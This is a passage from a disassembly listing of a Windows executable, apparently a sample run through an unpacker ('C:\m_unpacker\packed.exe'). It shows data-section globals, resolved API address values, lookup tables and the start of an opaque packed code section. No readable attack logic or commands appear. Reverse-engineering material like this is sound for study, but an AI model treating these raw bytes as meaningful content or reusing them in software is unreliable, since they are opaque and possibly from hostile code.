... dword_43EA98 dd 77428B97h ; DATA XREF: sub_409658+B6Ew ; sub_409658+B75r ... dword_43EA9C dd 71AB41DAh ; DATA XREF: sub_4010B2+2Fr ; sub_401A64+2Fr ... dword_43EAA0 dd 762059A3h ; DATA XREF: sub_409658+807w ; sub_409658+872r ... dword_43EAA4 dd 71C4A1B4h ; DATA XREF: sub_409658+986w ; sub_409658+9F8r dword_43EAA8 dd 1F7CD214h ; DATA XREF: sub_409658+BDFw ; sub_409658+C10r dword_43EAAC dd 77D4456Bh ; DATA XREF: sub_402394+40r ; sub_402394+63r ... dword_43EAB0 dd 76D629BBh ; DATA XREF: sub_409658+8FCw ; sub_409658+910r ... dword_43EAB4 dd 1F7B9D96h ; DATA XREF: sub_409658+BF9w dword_43EAB8 dd 71AB1740h ; DATA XREF: sub_4010B2:loc_4013BFr ; sub_401444+3Cr ... dword_43EABC dd 7620AFB6h ; DATA XREF: sub_409658+821w ; sub_409658+855r dword_43EAC0 dd 77D5C13Ah ; DATA XREF: sub_402394+50r ; sub_402394+78r ... dword_43EAC4 dd 77D45B19h ; DATA XREF: sub_40862B+3Fr ; sub_40862B+69r ... dword_43EAC8 dd 71AB157Eh ; DATA XREF: sub_409658+65Aw ; sub_409658+786r ... dword_43EACC dd 71AB3E5Dh ; DATA XREF: sub_402DB1+20Ar ; sub_4030BE+5Er ... dword_43EAD0 dd 71AB14DCh ; DATA XREF: sub_402669+16Er ; sub_409658+549w ... dword_43EAD4 dd 0CC0004h ; DATA XREF: sub_409658+8BDw ; sub_409658:loc_409F33w ... dword_43EAD8 dd 77DD590Bh ; DATA XREF: sub_409658+28Bw ; sub_409658+2C6r ... dword_43EADC dd 71ABD755h ; DATA XREF: sub_407BAA+98r ; sub_409658+681w ... dword_43EAE0 dd 77DF7311h ; DATA XREF: sub_409658+30Fw ; sub_409658+323r ... dword_43EAE4 dd 77DDA2AFh ; DATA XREF: sub_409658+395w ; sub_409658+3D1r ... dword_43EAE8 dd 1F7CD927h ; DATA XREF: sub_409658+BD2w ; sub_409658+C08r dword_43EAEC dd 76206853h ; DATA XREF: sub_409658+7FAw ; sub_409658+86Ar ... dword_43EAF0 dd 77D4932Ch ; DATA XREF: sub_402394+FCr ; sub_409658+206w ... dword_43EAF4 dd 77D5E310h ; DATA XREF: sub_409658+18Cw ; sub_409658+1D2r ... dword_43EAF8 dd 76206B7Fh ; DATA XREF: sub_409658+814w ; sub_409658+87Ar ... dword_43EAFC dd 71AB1444h ; DATA XREF: sub_406A71+244r ; sub_409658+606w ... dword_43EB00 dd 77DD189Ah ; DATA XREF: sub_408A63+196r ; sub_409658+2BFw ... dword_43EB04 dd 71AB3F8Dh ; DATA XREF: sub_4010B2+6Fr ; sub_401444+AAr ... dword_43EB08 dd 77DD5D20h ; DATA XREF: sub_409658+302w ; sub_409658+316r ... dword_43EB0C dd 71AB1890h ; DATA XREF: sub_405983+F9r ; sub_406A71+1FCr ... dword_43EB10 dd 77C76B34h ; DATA XREF: sub_4083F0+16r ; sub_409658+42Ew ... dword_43EB14 dd 77D5E38Ch ; DATA XREF: sub_409658+199w ; sub_409658+1DAr ... dword_43EB18 dd 77DDA20Bh ; DATA XREF: sub_409658+347w ; sub_409658+39Cr ... dword_43EB1C dd 76F36EEBh ; DATA XREF: sub_409658+A73w dword_43EB20 dd 71AB12A7h ; DATA XREF: sub_4010B2+EBr ; sub_4010B2+1F9r ... dword_43EB24 dd 71AB1746h ; DATA XREF: sub_4010B2+87r ; sub_4010B2+9Dr ... dword_43EB28 dd 77EBA595h ; DATA XREF: sub_409658+4Bw ; sub_409658+C2r ... dword_43EB2C dd 77C7531Dh ; DATA XREF: sub_4083F0+2Cr ; sub_4083F0+38r ... dword_43EB30 dd 77D4BDCAh ; DATA XREF: sub_409658+165w ; sub_409658+1BAr ... dword_43EB34 dd 71C3516Ah ; DATA XREF: sub_409658+9E1w ; sub_40E3CC+72r dword_43EB38 dd 71AB32CAh ; DATA XREF: sub_409658+667w ; sub_409658+78Er dword_43EB3C dd 71AB5690h ; DATA XREF: sub_402669+206r ; sub_402DB1+23Br ... dword_43EB40 dd 1F7CB8F8h ; DATA XREF: sub_409658+BECw ; sub_409658+C18r dword_43EB44 dd 77EBB1E7h ; DATA XREF: sub_409658+3Ew ; sub_409658+BAr ... dword_43EB48 dd 77DD59F0h ; DATA XREF: sub_409658+298w ; sub_409658+2CEr ... dword_43EB4C dd 71AB5DE2h ; DATA XREF: sub_405983+9Er ; sub_407A23+9Cr ... dword_43EB50 dd 71AB3ECEh ; DATA XREF: sub_402669+EBr ; sub_405983+89r ... dword_43EB54 dd 73B81B0Fh ; DATA XREF: sub_409658+C63w ; sub_40EC43+45DAr dword_43EB58 dd 76204E4Dh ; DATA XREF: sub_409658+85Bw ; sub_40BA67+209r ... dword_43EB5C dd 0 ; DATA XREF: sub_409658+112w dword_43EB60 dd 1F7D886Ah ; DATA XREF: sub_409658+BB8w ; sub_409658+BF3r dword_43EB64 dd 71AB12F8h ; DATA XREF: sub_401444+119r ; sub_401444+1A0r ... dword_43EB68 dd 77C76551h ; DATA XREF: sub_4083F0+BCr ; sub_409658+43Bw ... dword_43EB6C dd 77C729E2h ; DATA XREF: sub_4083F0+FBr ; sub_409658+47Cw ... dword_43EB70 dd 77C7212Fh ; DATA XREF: sub_4083F0+65r ; sub_409658+448w ... dword_43EB74 dd 71AB1AF4h ; DATA XREF: sub_402DB1+221r ; sub_402DB1+249r ... dword_43EB78 dd 77D5E303h ; DATA XREF: sub_409658+1A6w ; sub_409658+1E2r ... dword_43EB7C dd 71C4576Ch ; DATA XREF: sub_409658+9D4w ; sub_409658+A28r ... dword_43EB80 dd 77D4702Fh ; DATA XREF: sub_40862B+53r ; sub_40862B+7Fr ... dword_43EB84 dd 77E6C0E3h ; DATA XREF: sub_409658+8Cw ; sub_409658+E2r ... dword_43EB88 dd 71AB1ED3h ; DATA XREF: sub_4010B2+2C2r ; sub_401444+2C8r ... dword_43EB8C dd 71B2A381h ; DATA XREF: sub_409658+B14w ; sub_409658+B30r dword_43EB90 dd 77DDA595h ; DATA XREF: sub_409658+31Cw ; sub_414EAB+55r dword_43EB94 dd 77DD22EAh ; DATA XREF: sub_408A63+3Fr ; sub_409658+27Ew ... dword_43EB98 dd 773F97B0h ; DATA XREF: sub_409658+B7Bw dword_43EB9C dd 76D67A29h ; DATA XREF: sub_409658+ABDw ; sub_40AC30+8Fr dword_43EBA0 dd 76D674FAh ; DATA XREF: sub_409658+AB0w ; sub_409658+AB7r ... dword_43EBA4 dd 71AB3C22h ; DATA XREF: sub_401444+2Er ; sub_401D6D+55r ... dword_43EBA8 dd 71AB2BBFh ; DATA XREF: sub_407BAA+88r ; sub_409658+674w ... dword_43EBAC dd 1F7BA3A9h ; DATA XREF: sub_409658+BC5w ; sub_409658+C00r dword_43EBB0 dd 71AB401Ch ; DATA XREF: sub_402669+28Dr ; sub_406A71+250r ... dword_43EBB4 dd 71C214BAh ; DATA XREF: sub_409658+993w ; sub_409658+A00r ... dword_43EBB8 dd 71AB868Dh ; DATA XREF: sub_405983+13Dr ; sub_407A23+B3r ... dword_43EBBC dd 71AB1A6Dh ; DATA XREF: sub_4010B2+2FAr ; sub_401444+2F4r ... dword_43EBC0 dd 71AB155Ah ; DATA XREF: sub_405983+B7r ; sub_405983+376r ... dword_43EBC4 dd 71B22C25h ; DATA XREF: sub_4029C8+B0r ; sub_4029C8+C8r ... dword_43EBC8 dd 71AB5A01h ; DATA XREF: sub_4010B2+4Fr ; sub_401A64+4Fr ... dword_43EBCC dd 71B2ACCBh ; DATA XREF: sub_409658+AFAw ; sub_409658+B1Br dword_43EBD0 dd 77E78C17h ; DATA XREF: sub_409658+31w ; sub_409658+ADr ... dword_43EBD4 dd 77D49A11h ; DATA XREF: sub_40862B+1ECr ; sub_408824+232r ... dword_43EBD8 dd 76D62A37h ; DATA XREF: sub_409658+909w ; sub_409658+91Dr ... dword_43EBDC dd 77E6CBF9h ; DATA XREF: sub_409658+99w ; sub_409658+EAr ... dword_43EBE0 dd 0 ; DATA XREF: sub_409658:loc_409756w ; sub_409658+12Bw ... dword_43EBE4 dd 0 ; DATA XREF: sub_409658+126w ; sub_40A2E5+1Cr dword_43EBE8 dd 0 ; DATA XREF: sub_409658:loc_409846w ; sub_409658:loc_4098ADw ... dword_43EBEC dd 0 ; DATA XREF: sub_409658+250w ; sub_40A2E5+50r dword_43EBF0 dd 0 ; DATA XREF: sub_409658:loc_409942w ; sub_409658:loc_409987w ... dword_43EBF4 dd 0 ; DATA XREF: sub_409658+400w ; sub_40A2E5+84r dword_43EBF8 dd 0 ; DATA XREF: sub_409658:loc_409B3Ew ; sub_40A2E5:loc_40A395r dword_43EBFC dd 0 ; DATA XREF: sub_409658+4E1w ; sub_40A2E5+B8r dword_43EC00 dd 0 ; DATA XREF: sub_409658:loc_409E0Fw ; sub_40A2E5:loc_40A3C9r dword_43EC04 dd 0 ; DATA XREF: sub_409658+7B2w ; sub_40A2E5+ECr dword_43EC08 dd 0 ; DATA XREF: sub_409658:loc_409EFAw ; sub_409658+8D1w ... dword_43EC0C dd 0 ; DATA XREF: sub_409658+8CCw ; sub_40A2E5+120r dword_43EC10 dd 0 ; DATA XREF: sub_409658:loc_409F8Ew ; sub_40A2E5:loc_40A431r ... dword_43EC14 dd 0 ; DATA XREF: sub_409658+931w ; sub_40A2E5+154r dword_43EC18 dd 0 ; DATA XREF: sub_409658:loc_40A099w ; sub_40A2E5:loc_40A465r ... dword_43EC1C dd 0 ; DATA XREF: sub_409658+A3Cw ; sub_40A2E5+188r dword_43EC20 dd 0 ; DATA XREF: sub_409658:loc_40A0E3w ; sub_40A2E5:loc_40A499r dword_43EC24 dd 0 ; DATA XREF: sub_409658+A86w ; sub_40A2E5+1BCr dword_43EC28 dd 0 ; DATA XREF: sub_409658:loc_40A12Dw ; sub_40A2E5:loc_40A4CDr dword_43EC2C dd 0 ; DATA XREF: sub_409658+AD0w ; sub_40A2E5+1F0r dword_43EC30 dd 0 ; DATA XREF: sub_409658:loc_40A1A1w ; sub_40A2E5:loc_40A501r dword_43EC34 dd 0 ; DATA XREF: sub_409658+B44w ; sub_40A2E5+224r dword_43EC38 dd 0 ; DATA XREF: sub_409658:loc_40A1EBw ; sub_40A2E5:loc_40A535r dword_43EC3C dd 0 ; DATA XREF: sub_409658+B8Ew ; sub_40A2E5+258r dword_43EC40 dd 0 ; DATA XREF: sub_409658:loc_40A289w ; sub_40A2E5:loc_40A569r dword_43EC44 dd 0 ; DATA XREF: sub_409658+C2Cw ; sub_40A2E5+28Cr dword_43EC48 dd 0 ; DATA XREF: sub_409658:loc_40A2D3w ; sub_40A2E5:loc_40A59Dr dword_43EC4C dd 0 ; DATA XREF: sub_409658+C76w ; sub_40A2E5+2C0r dword_43EC50 dd 80h dup(0) ; DATA XREF: sub_40A863+6Ao dword_43EE50 dd 4 dup(0) ; DATA XREF: sub_40AD08+32o dword_43EE60 dd 0 ; DATA XREF: sub_40B154:loc_40B175r ; sub_40B243+54r ... dword_43EE64 dd 0 ; DATA XREF: sub_40B154r ; sub_40B243+37r ... dword_43EE68 dd 0 ; DATA XREF: sub_40B184+1Ar ; sub_40B398+83o dword_43EE6C dd 0 ; DATA XREF: sub_40B154:loc_40B168r ; sub_40B398+11Bw dword_43EE70 dd 0Dh dup(0) ; DATA XREF: sub_40B243+13o ; sub_40B398:loc_40B4D5o dword_43EEA4 dd 0 ; DATA XREF: sub_40B243+CDr ; sub_40B243+ECr ... dword_43EEA8 dd 0Eh dup(0) ; DATA XREF: sub_40B54D+3Eo dword_43EEE0 dd 1000h dup(0) ; DATA XREF: sub_40BD8D+1Do ; sub_40BE2Do ... dword_442EE0 dd 0Dh dup(0) ; DATA XREF: sub_40BD8D+13o ; sub_40BE2D+Eo ... dword_442F14 dd 0 ; DATA XREF: sub_40D1A2+C8o dword_442F18 dd 18h dup(0) ; DATA XREF: sub_40D63A:loc_40D757o ; sub_40D63A+131o ... dword_442F78 dd 80h dup(0) ; DATA XREF: sub_40E3CC+7Co ; sub_40E3CC+A5o dword_443178 dd 0 ; DATA XREF: sub_40D9B7+45w ; sub_40D9B7+4Dr ... align 10h dword_443180 dd 18h dup(0) ; DATA XREF: sub_40E298:loc_40E3BAo ; sub_40E298+12Do dword_4431E0 dd 80h dup(0) ; DATA XREF: sub_40D8F8+4Bo ; sub_40D8F8+7Do ... byte_4433E0 db 0 ; DATA XREF: sub_40D9B7+29r ; sub_40D9B7+34w align 8 dword_4433E8 dd 80h dup(0) ; DATA XREF: sub_40DC0E+61o ; sub_40DC0E+88o ... dword_4435E8 dd 80h dup(0) ; DATA XREF: sub_40D511+33o ; sub_40D511+50o ... dword_4437E8 dd 0 ; DATA XREF: sub_40BC95+Ao ; sub_40BC95+44r ... dd 5 dup(0) dword_443800 dd 0 ; DATA XREF: sub_40BC95+60r ; sub_40EC43+B6Ar dd 2D9h dup(0) dword_444368 dd 0 ; DATA XREF: sub_4075B8+96r ; sub_40BC95+2Do ... dd 7Fh dup(0) dword_444568 dd 0 ; DATA XREF: sub_416A7A+4Cw ; sub_416BB5+3Aw ... dword_44456C dd 0 ; DATA XREF: sub_405F35+233w ; sub_4075B8+6Dr ... dword_444570 dd 0 ; DATA XREF: sub_40B398+164w ; sub_416552+AEw ... dword_444574 dd 0 ; DATA XREF: sub_402669+E0w ; sub_405983+7Ew ... dword_444578 dd 0 ; DATA XREF: sub_407BAA+11Ew ; sub_407D92+53r ... dword_44457C dd 0 ; DATA XREF: sub_405F35+260w ; sub_4070A3+11Fw ... byte_444580 db 0 ; DATA XREF: sub_40E961+91o ; sub_40EC43+331Cr ... align 4 dd 473h dup(0) dword_445750 dd 10E6Ah dup(0) ; DATA XREF: .data:off_42933Co dword_4890F8 dd 1Ch ; DATA XREF: sub_406F62:loc_406FD0r ; sub_40E48A+3Aw ... align 10h dword_489100 dd 0 ; DATA XREF: sub_40E48A:loc_40E873o dword_489104 dd 20h dup(0) ; DATA XREF: sub_40E48A+381o ; sub_40E48A+43Ao ... dword_489184 dd 10h dup(0) ; DATA XREF: sub_40E48A+398o ; sub_40EC43+8D4o dword_4891C4 dd 24h dup(0) ; DATA XREF: sub_40E48A+3AFo dword_489254 dd 0 ; DATA XREF: sub_40E48A+3A3w ; sub_40E48A+451w ... dword_489258 dd 0 ; DATA XREF: sub_40E48A+3C2w dd 2 dup(0) dword_489264 dd 0 ; DATA XREF: sub_40E961+72r ; sub_40EC43+268r db 2 dup(0) byte_48926A db 0 ; DATA XREF: sub_40EAC7+28r ; sub_40EAC7+30o align 4 dword_48926C dd 0 ; DATA XREF: sub_40E48A+3EEw ; sub_40E48A+405r ... dword_489270 dd 0 ; DATA XREF: sub_40E48A+386w ; sub_40EC43+878r align 8 dword_489278 dd 0 ; DATA XREF: sub_415208+146r align 10h dword_489280 dd 1Eh dup(0) ; DATA XREF: sub_415AA4+8Do dword_4892F8 dd 0 ; DATA XREF: sub_416CBC+16o ; sub_416CDB+19o dword_4892FC dd 61h dup(0) ; DATA XREF: sub_416C6F+3Do byte_489480 db 0 ; DATA XREF: sub_416979+64r ; sub_416979+92w align 8 dword_489488 dd 0 ; DATA XREF: sub_417A73+Aw align 10h dword_489490 dd 0 ; DATA XREF: sub_4183B1+5Er ; sub_4183B1+A4w align 8 word_489498 dw 0 ; DATA XREF: sub_4183B1+55r ; sub_4183B1+9Ao word_48949A dw 0 ; DATA XREF: sub_4183B1+48r db 2 dup(0) word_48949E dw 0 ; DATA XREF: sub_4183B1+3Br word_4894A0 dw 0 ; DATA XREF: sub_4183B1+2Er word_4894A2 dw 0 ; DATA XREF: sub_4183B1+21r align 8 dword_4894A8 dd 0 ; DATA XREF: sub_41886E+3Br ; sub_41886E+91w dword_4894AC dd 0 ; DATA XREF: sub_418533+1B9w ; sub_418A0E:loc_418A8Aw ... dword_4894B0 dd 0 ; DATA XREF: sub_4194F9+35w ; sub_41A3B7:loc_41A451w ... dword_4894B4 dd 0 ; DATA XREF: sub_41FBF2+13Ar dword_4894B8 dd 0A28h ; DATA XREF: sub_4198E4+52w dword_4894BC dd 501h ; DATA XREF: sub_4198E4+49w dword_4894C0 dd 5 ; DATA XREF: sub_4198E4+3Ew dword_4894C4 dd 1 ; DATA XREF: sub_4198E4+30w dword_4894C8 dd 1 ; DATA XREF: sub_40E48A:loc_40E75Br ; sub_41EF6B+91w dword_4894CC dd 8F0B20h ; DATA XREF: sub_40E48A+2DAr ; sub_40E48A+2FAr ... dd 0 dword_4894D4 dd 8F0B48h ; DATA XREF: sub_41EEB2+44w ; sub_421ADE+9r ... dword_4894D8 dd 0 ; DATA XREF: sub_422197+36r dword_4894DC dd 0 ; DATA XREF: sub_421ADE+16r ; sub_421EAC+4r ... dd 0 off_4894E4 dd offset aCM_unpackerPac ; DATA XREF: sub_41EF6B+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4894EC db 0 ; DATA XREF: sub_419807+2Dw ; sub_41F813+5r align 10h dword_4894F0 dd 0 ; DATA XREF: sub_419807+27w dword_4894F4 dd 0 ; DATA XREF: sub_419807+4r ; sub_419807+8Bw dword_4894F8 dd 0 ; DATA XREF: sub_4198E4+84w ; sub_41EEB2:loc_41EEC4r ... align 10h dword_489500 dd 0 ; DATA XREF: sub_4199DAr sub_4199FFr ... dword_489504 dd 0 ; DATA XREF: sub_41A5A2+37r dd 0 dword_48950C dd 0 ; DATA XREF: sub_417889r ; sub_41914F:loc_41926Br ... dword_489510 dd 0 ; DATA XREF: sub_41A854r dword_489514 dd 0 ; DATA XREF: sub_41B722+4Bw ; sub_41B83B+2Dw ... dword_489518 dd 0 ; DATA XREF: sub_41C66D+11r ; sub_41C771+1Ar ... byte_48951C db 0 ; DATA XREF: sub_41C66D+3r ; sub_41C66D+98r ... align 10h dword_489520 dd 0 ; DATA XREF: sub_41C771+11r ; sub_41C84F+21w ... byte_489524 db 0 ; DATA XREF: sub_41C84F+51w align 4 dword_489528 dd 0 ; DATA XREF: sub_41CA45+4Er ; sub_41CE20+3Ar ... dword_48952C dd 0 ; DATA XREF: sub_41CA45+5Cr ; sub_41CE20+43r ... dword_489530 dd 0 ; DATA XREF: sub_417CFA+7Ar ; sub_41CBEC+5r dword_489534 dd 0 ; DATA XREF: sub_41D1FC+29r dword_489538 dd 2 dup(0) ; DATA XREF: sub_418490+Co dword_489540 dd 0 ; DATA XREF: sub_418D63+4r ; sub_418D63+6Er ... align 10h dword_489550 dd 0 ; DATA XREF: sub_4196B9+61r ; sub_4196B9+BFr ... align 8 dword_489558 dd 1 ; DATA XREF: sub_41E409+28r ; sub_41E409+4Cw ... dword_48955C dd 1 ; DATA XREF: sub_41E658:loc_41E7D3r ; sub_41E7F1+4w ... dword_489560 dd 0 ; DATA XREF: sub_41ECD6+3Ar ; sub_41ECD6+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41EF6B:loc_41EF82o ; .data:off_4894E4o align 10h dd 3Ah dup(0) dword_489668 dd 1 ; DATA XREF: sub_41F1B8+2r ; sub_41F1B8+23w ... dword_48966C dd 0 ; DATA XREF: sub_41F578+21r dword_489670 dd 0 ; DATA XREF: sub_41A5A2:loc_41A5CBw ; sub_41A66C+154w ... dword_489674 dd 1 ; DATA XREF: sub_41F88F+26r ; sub_41F88F:loc_41F8F9w dword_489678 dd 0 ; DATA XREF: sub_41A66C+7r align 10h word_489680 dw 0 ; DATA XREF: sub_420477+1Ao ; sub_420477+46r byte_489682 db 0 ; DATA XREF: sub_420477+39r align 4 dword_489684 dd 7 dup(0) ; DATA XREF: sub_420477+52o dword_4896A0 dd 0 ; DATA XREF: sub_420477+40w ; sub_420477+5Co dword_4896A4 dd 0 ; DATA XREF: sub_420477+4Dw dword_4896A8 dd 0 ; DATA XREF: sub_420477+31w dword_4896AC dd 0 ; DATA XREF: sub_420477+52w dword_4896B0 dd 77C26E79h ; DATA XREF: sub_42059A:loc_4205BDr ; sub_42059A+38r ... align 8 dword_4896B8 dd 0 ; DATA XREF: sub_42067A+11w ; sub_42067A+63w ... align 10h dword_4896C0 dd 0 ; DATA XREF: sub_42067A+33o ; sub_42067A+46r dword_4896C4 dd 10h dup(0) ; DATA XREF: sub_42067A+C1o word_489704 dw 0 ; DATA XREF: sub_4208D8+A8r word_489706 dw 0 ; DATA XREF: sub_42067A+54r ; sub_4208D8+DBr ... word_489708 dw 0 ; DATA XREF: sub_4208D8+CAr word_48970A dw 0 ; DATA XREF: sub_4208D8+D3r ; sub_4208D8:loc_4209CAr word_48970C dw 0 ; DATA XREF: sub_4208D8+C0r word_48970E dw 0 ; DATA XREF: sub_4208D8+B8r word_489710 dw 0 ; DATA XREF: sub_4208D8+B0r word_489712 dw 0 ; DATA XREF: sub_4208D8+9Er dword_489714 dd 0 ; DATA XREF: sub_42067A+4Br dword_489718 dd 10h dup(0) ; DATA XREF: sub_42067A+FBo word_489758 dw 0 ; DATA XREF: sub_4208D8+46r word_48975A dw 0 ; DATA XREF: sub_42067A:loc_4206F1r ; sub_4208D8+78r ... word_48975C dw 0 ; DATA XREF: sub_4208D8+67r word_48975E dw 0 ; DATA XREF: sub_4208D8+70r ; sub_4208D8:loc_42095Cr word_489760 dw 0 ; DATA XREF: sub_4208D8+5Dr word_489762 dw 0 ; DATA XREF: sub_4208D8+55r word_489764 dw 0 ; DATA XREF: sub_4208D8+4Dr word_489766 dw 0 ; DATA XREF: sub_4208D8+3Er dword_489768 dd 0 ; DATA XREF: sub_42067A+80r dword_48976C dd 0 ; DATA XREF: sub_42067A+132r ; sub_42067A:loc_4207C6r ... dword_489770 dd 0 ; DATA XREF: sub_420665r sub_420665+Ew dword_489774 dd 0 ; DATA XREF: sub_420D8F+3r ; sub_420D8F+2Ew ... dword_489778 dd 0 ; DATA XREF: sub_420D8F+43w ; sub_420D8F:loc_420DDEr dword_48977C dd 0 ; DATA XREF: sub_420D8F+4Aw ; sub_420D8F+60r dword_489780 dd 0 ; DATA XREF: sub_41FBF2+3Fr dword_489784 dd 0 ; DATA XREF: sub_42196C:loc_4219D3r ; sub_42196C+6Do dword_489788 dd 0 ; DATA XREF: sub_42196C:loc_4219AAr ; sub_42196C+44o dword_48978C dd 0 ; DATA XREF: sub_42196C:loc_42199Dr ; sub_42196C+37o dword_489790 dd 0 ; DATA XREF: sub_42196C:loc_4219B7r ; sub_42196C+51o align 8 dword_489798 dd 0 ; DATA XREF: sub_421F1A+28r ; sub_421F1A+48w ... dword_48979C dd 0 ; DATA XREF: sub_422978+28r ; sub_422978+4Cw ... dword_4897A0 dd 0 ; DATA XREF: sub_422C03+26r ; sub_422C03:loc_422C6Dw byte_4897A4 db 1 ; DATA XREF: sub_4047E1r sub_4047E1+9w align 4 dword_4897A8 dd 8F1110h ; DATA XREF: sub_41A535:loc_41A546r ; sub_41A7DC+14r ... dd 5 dup(0) dword_4897C0 dd 400h dup(0) ; DATA XREF: .data:off_43B198o ; .data:0043B1A0o dword_48A7C0 dd 200h ; DATA XREF: sub_41A535+9r ; sub_41A535+56r ... dd 7 dup(0) dword_48A7E0 dd 8F0650h ; DATA XREF: sub_419A23+B1r ; sub_41DF48+75r ... dword_48A7E4 dd 3Fh dup(0) ; DATA XREF: sub_41F2EA+92o dword_48A8E0 dd 20h ; DATA XREF: sub_41A3B7+8r ; sub_41E021+Cr ... dword_48A8E4 dd 4E4h ; DATA XREF: sub_41E658+14r ; sub_41E658+65w ... align 10h dword_48A8F0 dd 3 dup(0) ; DATA XREF: sub_41E658+123o ; sub_41E658+171o ... dword_48A8FC dd 0 ; DATA XREF: sub_41E658+108w ; sub_41E658+15Dw ... byte_48A900 db 0 ; DATA XREF: sub_41E897:loc_41E9A3w ; sub_41E897:loc_41E9C0w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_48AA00 db 0 ; DATA XREF: sub_41E658+5Co ; sub_41E658+AFo ... byte_48AA01 db 0 ; DATA XREF: sub_418FB8+5Dr ; sub_41E658+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_48AB04 dd 0 ; DATA XREF: sub_41E658+6Ew ; sub_41E658+12Bw ... dword_48AB08 dd 0 ; DATA XREF: sub_41AA41+3Cw ; sub_41B0E6+5r ... dword_48AB0C dd 0 ; DATA XREF: sub_41AAB4+23Ar ; sub_41AAB4+25Ar ... dword_48AB10 dd 0 ; DATA XREF: sub_41AA41+31w ; sub_41AAB4+311w ... dword_48AB14 dd 0 ; DATA XREF: sub_41AA41+21w ; sub_41AAB4+22Dr ... dword_48AB18 dd 0 ; DATA XREF: sub_41AA41+28w ; sub_41AA89r ... dword_48AB1C dd 0 ; DATA XREF: sub_41AA41+15w ; sub_41AA89+8r ... dword_48AB20 dd 0 ; DATA XREF: sub_4178C7+Fr ; sub_41914F+5Cr ... dword_48AB24 dd 8F0000h ; DATA XREF: sub_4178C7+66r ; sub_41793B+5Ar ... dword_48AB28 dd 1 ; DATA XREF: sub_4178C7r sub_41793B+Cr ... dword_48AB2C dd 142340h ; DATA XREF: sub_4198E4+7Aw ; sub_41EE5A+Fr ... dword_48AB30 dd 1 ; DATA XREF: sub_41EEB2+ADw ; sub_421ADEr dword_48AB34 dd 1 ; DATA XREF: sub_41EA1Cr ; sub_41EA1C+11w ... dword_48AB38 dd 8F075Ch ; DATA XREF: sub_418303+13r ; sub_418303:loc_418345r ... dword_48AB3C dd 8F0758h ; DATA XREF: sub_418303+1r ; sub_418303+Cr ... dd 130h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) _data ends ; Section 2. (virtual address 0008C000) ; Virtual size : 00016890 ( 92304.) ; Section size in file : 00016890 ( 92304.) ; Offset to raw data for section: 0008C000 ; Flags C0000020: Text Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _pdata segment para public 'CODE' use32 assume cs:_pdata ;org 48C000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 8000005Eh, 0A22A0000h, 8F1788D9h, 33666E2Bh, 42851711h dd 2F2A92BBh, 97C8C5D9h, 6B40DB67h, 75E3CF8Fh, 0A478514Eh dd 0DA87B2F7h, 0CACBDBE3h, 0AFD52D6Ch, 84A11EE3h, 0A41C7308h dd 4EBC8A98h, 51B8EAD9h, 0DB1610A9h, 427CB136h, 310917D8h dd 637DBC7Bh, 0D607EDE5h, 8272EB54h, 2281BFADh, 0C66F79D9h dd 0E8AFC35Eh, 7D67D2D4h, 7C54ACB7h, 0F4BC0FF2h, 4055CBF6h dd 2CEA2B4Bh, 8905203h, 9A639DEAh, 157B9455h, 58FB7A2Ah dd 0E23D1789h, 0B7BC0422h, 0C1B761E3h, 0D1E7BBDEh, 7A99261Dh dd 8FAD3979h, 22C2FB21h, 1F1D44CFh, 7F0E79BAh, 7715C6A6h dd 0C0042B92h, 70772D74h, 0C82CF78h, 9322B0Dh, 4A3000DDh dd 3E02BA50h, 0A3996F84h, 7110570Eh, 1079352h, 0B73D7FF4h dd 4827EDACh, 97DD992Dh, 9F273103h, 99BAF2C6h, 9C89E64Bh dd 363CF384h, 0BDC2665Fh, 8DD1047Dh, 6105D81h, 6E2CB0E1h dd 0FBC9445h, 28C02EE8h, 300416D6h, 77F66109h, 0C1BCBDF2h dd 7EC689DFh, 0C01241E4h, 8C5ECBEAh, 9009236Ah, 1CBDFC15h dd 0C15515B2h, 81A58C78h, 0D1708A21h, 5A6DE6A7h, 0A1BDA8C5h dd 8D39C868h, 0F41AAEE0h, 97942946h, 0BFD976F3h, 551F99E0h dd 8A7065BAh, 0BA649001h, 52D24234h, 496DF213h, 0DF9DD3h dd 57F99245h, 0CE08F3F7h, 5D86466Fh, 0E636893Ch, 0B1392A5Fh dd 7449433Ah, 79E0109h, 2E27A59Bh, 2B2CFEDBh, 28B78C3Bh dd 8978235Ch, 486A4D16h, 0D26E26C6h, 4540E35Fh, 0BBF1CAD6h dd 6E39650Ch, 0D6DC99C4h, 0B05FA270h, 15AB9E34h, 2348A216h dd 438B75E0h, 3F0348Fh, 2CA8D385h, 0B779CB26h, 0C5EB67B9h dd 476638EFh, 2DDAD868h, 21C791B3h, 5102A0BDh, 0C15D8818h dd 75DA9837h, 25638AE3h, 5FA02064h, 1A6496D8h, 575BC033h dd 6013ABE8h, 348A8393h, 0E5075A64h, 324872B2h, 0B2DD676Bh dd 3E51D184h, 99A888FFh, 0CBFF4CB1h, 0A03750E5h, 77FF52ABh dd 25CA3516h, 0E30F0D3Fh, 202D0BCEh, 0D2A15CDFh, 86F33099h dd 